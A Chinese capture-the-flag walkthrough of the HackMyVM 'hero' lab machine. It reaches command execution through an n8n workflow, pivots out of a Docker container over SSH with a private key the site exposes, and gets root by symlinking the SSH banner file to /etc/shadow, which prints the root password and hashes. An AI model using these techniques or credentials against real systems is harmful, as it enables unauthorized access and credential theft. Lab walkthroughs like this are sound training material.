当前位置: 首页 > news >正文

hackmyvm-hero

信息收集

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0e       (Unknown: locally administered)
192.168.56.100  08:00:27:43:9b:54       PCS Systemtechnik GmbH
192.168.56.108  08:00:27:b9:ee:14       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.277 seconds (112.43 hosts/sec). 3 responded
┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# nmap -sC -sV 192.168.56.108
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 05:20 EST
Nmap scan report for 192.168.56.108
Host is up (0.00052s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open  rrac?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: public, max-age=86400
|     Last-Modified: Thu, 27 Feb 2025 10:18:14 GMT
|     ETag: W/"7b7-19546e9fd60"
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 1975
|     Vary: Accept-Encoding
|     Date: Thu, 27 Feb 2025 10:20:31 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
|     <meta charset="utf-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="viewport" content="width=device-width,initial-scale=1.0" />
|     <link rel="icon" href="/favicon.ico" />
|     <style>@media (prefers-color-scheme: dark) { body { background-color: rgb(45, 46, 46) } }</style>
|     <script type="text/javascript">
|     window.BASE_PATH = '/';
|     window.REST_ENDPOINT = 'rest';
|     </script>
|     <script src="/rest/sentry.js"></script>
|     <script>!function(t,e){var o,n,
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Vary: Accept-Encoding
|     Date: Thu, 27 Feb 2025 10:20:31 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>

80端口的内容

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# curl http://192.168.56.108/
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=
-----END OPENSSH PRIVATE KEY-----

将私钥保存下来解一下里面的内容

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# ssh-keygen -y -f id_rsa
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiYY31x+ZMvvHfmGWC7ZE75BbdbAKYEtIX75k6CL27C shawa@hero

80端口给了一个私钥。但是靶机并没有开启22端口。所以我们暂时并不知道这个私钥可以用来干什么

5678端口 5678是是一个n8n的管理页面

image-20250227183025918

创建一个账号进来

测试

新建一个workflow

在加入功能的板块有一个Core

里面有一个可以执行系统命令的板块

image-20250227183447628

我将它与chat连接到一起,就可以在聊天框执行系统命令

image-20250227183606147

但是node用户的目录下面并没有我们想要的use.txt

/目录下发现了.dockerenv文件才得知这是一个docker环境

image-20250227184205488

当我得知这个环境是一个docker的时候 我的思路已经开始偏离了

我去网上搜索各种docker逃逸的方法,其他逃离出这个环境

很遗憾我尝试的办法都失败了

后来我想起来可以在这个docker环境上面下载一个nmap来扫描一下靶机在172.17.0.1这个网络地址上面开启了什么服务

我在github上下载了nmap的源码之后尝试上传上去进行安装。但是由于种种原因未能成功安装

后来看了ll104567的视频我得到了提示 n8n上面可以添加远程ssh凭证

image-20250227185138042

使用arp -a

可以找到主机的ip

image-20250227184337290

就这样可以成功将靶机的凭证添加到n8n上面

image-20250227185244555

但是新的问题来了。

我该如何执行命令呢?

在刚才添加模块的页面我看到有一个模块可以远程执行ssh命令

image-20250227185409487

将它添加进去

如何执行命令

我们成功的看到了我们希望的user.txt

image-20250227185526258

提权

然后我就试着反弹一个shell

在我使用sudo -l想要来找一些东西的时候

竟然没有sudo???

image-20250227185932791

如何我又找了具有s权限的文件

 $ find / -perm -u=s -type f 2>/dev/null
bin/bbsuid
 $ 

但是没有sudo我貌似无法使用。。只能再找其他的办法

我觉得自己可能被困在了busybhox环境中

然后我就又开始寻找逃逸busybox的方法

不幸

又没找到

/etc/ssh/sshd_config中指定了Banner文件的路径Banner /opt/banner.txt

/opt $ ls -al 
total 16
drw-rw-rwx    3 root     root          4096 Feb  6 10:14 .
drwxr-xr-x   21 root     root          4096 Feb  6 10:03 ..
-rw-rw-rw-    1 root     root            16 Feb  6 10:09 banner.txt
drwx--x--x    4 root     root          4096 Feb  6 10:14 containerd

这里你可以用ln -s /etc/shadow banner.txt创建一个软链接将banner.txt指向/root/shadow来读取密码

当然 你也可以直接读取/root/root.txt来获取flag

修改banner之后

再次进行ssh登录

你再这个shell中进行ssh登录密钥验证可能会无法通过

/tmp $ ssh -i id_rsa  shawa@172.17.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.

这是你需要加上-o StrictHostKeyChecking=no 禁用严格的主机密钥检查,自动接受新密钥。

$ ssh -i id_rsa -o StrictHostKeyChecking=no shawa@172.17.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts.
#Imthepassthaty0uwant!
root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:0:::::
bin:!::0:::::
daemon:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
games:!::0:::::
ntp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
klogd:!:20125:0:99999:7:::
chrony:!:20125:0:99999:7:::
nginx:!:20125:0:99999:7:::
shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7:::

第一行注释就是我们想要的root用户的密码

su
Password: Imthepassthaty0uwant!
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

相关文章:

  • Python学习第十八天之深度学习之Tensorboard
  • 网络安全和爬虫的关系
  • 网络协议 HTTP、HTTPS、HTTP/1.1、HTTP/2 对比分析
  • 算法——分治
  • Java从根上理解 ConcurrentHashMap:缓存机制与性能优化
  • 欧几里得算法
  • 计算机视觉 |解锁视频理解三剑客——SlowFast
  • 基于云函数的自习室预约微信小程序+LW示例参考
  • 服务器为什么会禁止 Ping?服务器禁止 Ping 的好处
  • 【项目管理工具推荐二】【信息化系统需求管理工具万字指南:从需求收集到落地全链路拆解】
  • 如何在Android中实现多线程
  • 蓝桥杯备考1
  • C#模式匹配详解
  • 【无标题】Day 4 CSS盒子模型
  • C++ 设计模式 十:享元模式 (读书 现代c++设计模式)
  • 网页制作10-html,css,javascript初认识の适用XHTML
  • 【Elasticsearch】(Java 版)
  • springai系列(二)从0开始搭建和接入azure-openai实现智能问答
  • 基于LangChain的智能体开发实战
  • MySQL之解决表中存储类型为[1,2,3]这样的字符串中去除括号[]和逗号‘,‘的问题(FIND_IN_SET+replace)
  • 一座与人才共成长的理想之城,浙江嘉兴为何如此吸引人?
  • 世卫大会再次拒绝涉台提案,国台办:民进党当局再遭挫败理所当然
  • 马上评|劳动课该如何找回“存在感”
  • 对话作家吉井忍:“滚石”般的生活,让我看到多种人生可能
  • 4年间职务侵占、受贿逾亿元,北京高院:严惩民企内部腐败
  • 上海交大曾小勤:科技传播不应停留于知识搬运,要做科学思维的播种机